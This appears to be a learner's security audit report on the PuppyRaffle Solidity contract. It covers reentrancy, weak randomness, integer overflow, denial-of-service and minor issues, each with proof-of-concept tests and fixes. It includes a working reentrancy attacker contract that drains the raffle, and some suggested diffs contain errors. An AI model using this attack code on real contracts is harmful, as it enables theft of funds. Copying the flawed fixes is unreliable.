# PuppyRaffle Audit Report

Version 1.0

*Fawarano*

September 23, 2025

# PuppyRaffle Audit Report

fawarano

September 23, 2025

Prepared by: Fawarano Lead Auditors:

- Fawarano

## Table of Contents

- Medium
  * [M-1] Looping through Players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants.
  * [M-2] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest
- Info
  * [I-1] Solidity pragma should be specific, not wide
  * [I-2] Using an outdated version of solidity is not recommanded.
  * [I-3] Missing checks for `address(0)` when assigning values to address state variables
  * [I-4] `PuppyRaffle::selectWiner` does not follow CIE, which is not a best practice
  * [I-5] Use of "magic" numbers is discouraged
  * [I-6] State changes are missing events
  * [I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed
- Low
  * [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.
- Gas
  * [G-1] Unchanged state variables should be declared constant or immutable.
  * [G-2] Storage variables on a loop should be cached

## Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
   1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

# Disclaimer

The Fawarano auditor makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

# Risk Classification

| | | Impact | | |
|---|---|---|---|---|
| | | High | Medium | Low |
| | High | H | H/M | M |
| Likelihood | Medium | H/M | M | M/L |
| | Low | M | M/L | L |

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

# Audit Details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8

## Scope

```
./src/
|___ PuppyRaffle.sol
```

## Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

## Executive Summary

### Issues found

| Severity | Number of issues found |
|---|---|
| High | 3 |
| Medium | 2 |
| Low | 1 |
| Info | 7 |
| Gas | 2 |
| Total | 15 |

## Findings

### High

#### [H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain Raffle balance

**Description:** The `PuppyRaffle::refund` function does not follow CEI ( Checks, Effects, Interactions) and as result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

@>        payable(msg.sender).sendValue(entranceFee);
@>        players[playerIndex] = address(0);

        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the

`PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

**Impact:** All fees paid by raffle entrance could be stolen by the malicious participant.

**Proof of Concept:**

1. User enter the raffle
2. Attacker sets up a contract with a `fallaback` and `receive` function that calls `PuppyRaffle::refund`
3. Attacker enter the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

**Proof of Code**

Code

Place the following into `PuppyRaffleTest.t.sol`

```
function testCanReEntrant() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle);
        address attacker = makeAddr("attacker");
        vm.deal(attacker, 1 ether);

        uint256 startingAttackContractbalance = address(
            attackerContract).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        // attack
        vm.prank(attacker);
        attackerContract.attack{value: entranceFee}();

        console.log("starting balance of puppy raffle:",
            startingContractBalance);
        console.log("starting balance of attackContract:",
            startingAttackContractbalance);

        console.log("ending balance of puppy raffle:", address(
            puppyRaffle).balance);
        console.log("ending balance of attack contract:", address(
            attackerContract).balance);
```

```
    }
```

And this following contract as well

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = _puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);

        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            ;
        puppyRaffle.refund(attackerIndex);
    }

    fallback() external payable {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    receive() external payable {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }
}
```

**Recommended Mitigation:** To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
 function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");
+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
      payable(msg.sender).sendValue(entranceFee);
```

```
-         players[playerIndex] = address(0);
-         emit RaffleRefunded(playerAddress);
      }
```

### [H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and predict the winning puppy

**Description:** Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable find number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

*Note:* This additionally means users could front-run this function and call `refund` if they see they are not the winner.

**Impact:** Any user can influence the winner of the raffle, winning the money and selecting the `rarest` pupy. Making the entire raffle worthless if it become a gas war as to who wins the raffle.

**Proof of Concept:**

1. Validators can know ahead of timr the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. User can mime/manipulate their `msg.sender` value to result in their address deing used to generate the winner!
3. User can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.
4. Using on-chain values as randomness seed is a well-documented-attack-vector in the blockchain space

**Recommended Mitigation:** Consider using a cryptographically provable random number generator such as Chainlink VRF.

### [H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

**Description:** In solidity, versions prior to `0.8.0` integers were subject to integer overflows.

```
    uint64 myVar = type(uint64).max
    // myVar = 18446744073709551615
    myVar = myVar + 1
    //myVar will be 0
```

**Impact:** In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feesAdress` may not collect the correct amount of fees, leaving fees permantly stuck in the contract.

**Proof of Concept:**

1. We conclude a raffle of 4 players
2. We then have 89 players enter the raffle and conclude the raffle
3. `totalFees` wil be:

```
totalFees = totalFees + uint64(fee);
//800000000000000000 + 17800000000000000000
// and this will overflow
totalFees = 153255926290448384;
```

4. You will not be able to withdraw, due to the in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance ==
    uint256(totalFees), "PuppyRaffle: There are currently players
        active!");
```

Althougth you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

Code

```
    function testTotalFeesOverflow() public playersEntered {
            // We finish a raffle of 4 to collect some fees
            vm.warp(block.timestamp + duration + 1);
            vm.roll(block.number + 1);
            puppyRaffle.selectWinner();
            uint256 startingTotalFees = puppyRaffle.totalFees();
            // startingTotalFees = 800000000000000000

            // We then have 89 players enter a new raffle
            uint256 playersNum = 89;
            address[] memory players = new address[](playersNum);
            for (uint256 i = 0; i < playersNum; i++) {
                players[i] = address(i);
            }
            puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
                players);
            // We end the raffle
            vm.warp(block.timestamp + duration + 1);
            vm.roll(block.number + 1);

            // And here is where the issue occurs
            // We will now have fewer fees even though we just finished a
                second raffle
```

```
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the
            require check
        vm.expectRevert("PuppyRaffle: There are currently players
            active!");
        puppyRaffle.withdrawFees();
    }
```

**Recommended Mitigation:** There are a few possible mitigation.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`
2. You could also use `SafeMath` library of OpenZepplin for version 0.7.6 of solidity, however you would still have hard time with `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
-         require(address(this).balance == uint256(totalFees), "
    PuppyRaffle: There are currently players active!");
```

There are more attack vectors with that require, so we recommend removing it regardless.

## Medium

### [M-1] Looping through Players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants.

**Description:** The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas cost for players who enter right after the raffle start will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```

     // @audit DoS attack with large arrays
    @>    for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

**Impact:** The gas cost for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be the one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::players` array so big, that no one else enters, guarenteeing themselves the win.

**Proof of Concept:** If we have 2 sets of 100 players enter, the gas cost will be as such:

- 1st 100 players: ~6503272 gas
- 2nd 100 players: ~18995512 gas This more than 3x more expensive for the second 100 players.

  PoC

  Place the following test into `PuppyRaffleTest.t.sol` and run the test.

```

function testCanExploitDOS() public {
    vm.txGasPrice(1);
    address[] memory players = new address[](100);
    for (uint256 i = 0; i < 100; i++) {
        players[i] = address(i);
    }
    uint256 gasStart = gasleft();

    puppyRaffle.enterRaffle{value: entranceFee * 100}(players);

    uint256 gasEnd = gasleft();

    uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;

    console.log("Gas used for first 100 is :", gasUsedFirst);

    // now for more 100 users

    address[] memory playersTwo = new address[](100);
    for (uint256 i = 0; i < 100; i++) {
        playersTwo[i] = address(i + 100);
    }
    uint256 gasStartTwo = gasleft();

    puppyRaffle.enterRaffle{value: entranceFee * 100}(playersTwo);

    uint256 gasEndTwo = gasleft();

    uint256 gasUsedTwo = (gasStartTwo - gasEndTwo) * tx.gasprice;

    console.log("Gas used for second 100 is :", gasUsedTwo);

    assert(gasUsedFirst < gasUsedTwo);
```

```
}
```

**Recommended Mitigation:** There are few recommandations.

1. Consider allowing duplicate. Users can make new wallet addresses anyways, so a duplicate check does't prevent the same person from entering multiple time, only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;
    .
    .
    .
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+             addressToRaffleId[newPlayers[i]] = raffleId;
        }

-         // Check for duplicates
+        // Check for duplicates only from the new players
+        for (uint256 i = 0; i < newPlayers.length; i++) {
+           require(addressToRaffleId[newPlayers[i]] != raffleId, "PuppyRaffle: Duplicate player");
+        }
-         for (uint256 i = 0; i < players.length; i++) {
-             for (uint256 j = i + 1; j < players.length; j++) {
-                 require(players[i] != players[j], "PuppyRaffle: Duplicate player");
-             }
-         }
        emit RaffleEnter(newPlayers);
    }
.
.
.
    function selectWinner() external {
+       raffleId = raffleId + 1;
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
```

3. alternatively, you could use OpenZeppelin's EnumerableSet to manage the players. This would also allow constant time lookup of whether a user has already entered.

#### [M-2] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest

**Description:** The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

**Impact:** The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money!

**Proof of Concept:**

1. 10 smart contract wallets enter the lottery without a fallback or receive function
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over!

**Recommended Mitigation:** There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)

2. Create a mapping of address -> payout so winners can pull their funds out themselves with a new `claimPrize` function, putting the owness on the winner to claim their prize. (Recommended)

   > Pull over Push

### Info

#### [I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

  ```
  pragma solidity ^0.7.6;
  ```

### [I-2] Using an outdated version of solidity is not recommanded.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

**Recommendation** Deploy with a recent version of Solidity (`at least 0.8.0`) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please check Slither documentation for more information.

### [I-3] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 67

```
        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 193

```
        feeAddress = newFeeAddress;
```

### [I-4] `PuppyRaffle::selectWiner` does not follow CIE, which is not a best practice

It's besty tio keep code clean and follow CEI (Checks, Effects, Interactions).

```
-        (bool success,) = winner.call{value: prizePool}("");
-        require(success, "PuppyRaffle: Failed to send prize pool to winner");
        _safeMint(winner, tokenId);
+        (bool success,) = winner.call{value: prizePool}("");
+        require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

### [I-5] Use of "magic" numbers is discouraged

It can be confusing to see numbers litterals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use :

```
    uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
    uint256 public constant FEE_PERCENTAGE = 20;
    uint256 public constant POOL_PRECISION = 100;
```

#### [I-6] State changes are missing events

**Description:** Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

**Proof of Concept:**

3 Found Instances

- Found in src/PuppyRaffle.sol Line: 56

  ```
      event RaffleEnter(address[] newPlayers);
  ```

- Found in src/PuppyRaffle.sol Line: 57

  ```
      event RaffleRefunded(address player);
  ```

- Found in src/PuppyRaffle.sol Line: 58

  ```
      event FeeAddressChanged(address newFeeAddress);
  ```

#### [I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed

### Low

#### [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.

**Description:** If a player is in the `PuppyRaffle::players` array at index 0, this will return 0,but according to the natspec, it will also return 0 if the player is not in the array

```
    /// @return the index of the player in the array, if they are not
        active, it returns 0
function getActivePlayerIndex(address player) external view returns (
    uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

**Impact:** A player at index 0 may incorrectly think they have not entred the raffle, and attempt to enter the raffle again, wasting gas.

**Proof of Concept:**

1. User enters the raffle, they are the first entrant, so they are at index 0
2. `PyppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation.

**Recommended Mitigation:** The easiest recommadation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return a `int256` where the function returns -1 if the player is not active.

### Gas

#### [G-1] Unchanged state variables should be declared constant or immutable.

Reading from storage is much more gas expensive than reading from a constant or a immutable variable.

Instances :

- `PuppyRafle::raffleDuration` should be `immutable`
- `PuppyRafle::commonImageUri` should be `constant`
- `PuppyRafle::rareImageUri` should be `constant`
- `PuppyRafle::legendaryImageUri` should be `constant`

### [G-2] Storage variables on a loop should be cached

Evewrytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
+         uint256 playerLength = players.length;
-         for (uint256 i = 0; i < players.length - 1; i++) {
+-        for (uint256 i = 0; i < players.length - 1; i++) {
-         for (uint256 j = i + 1; j < players.length; j++) {
+         for (uint256 j = i + 1; j < playerLength; j++) {
                 require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
             }
         }
```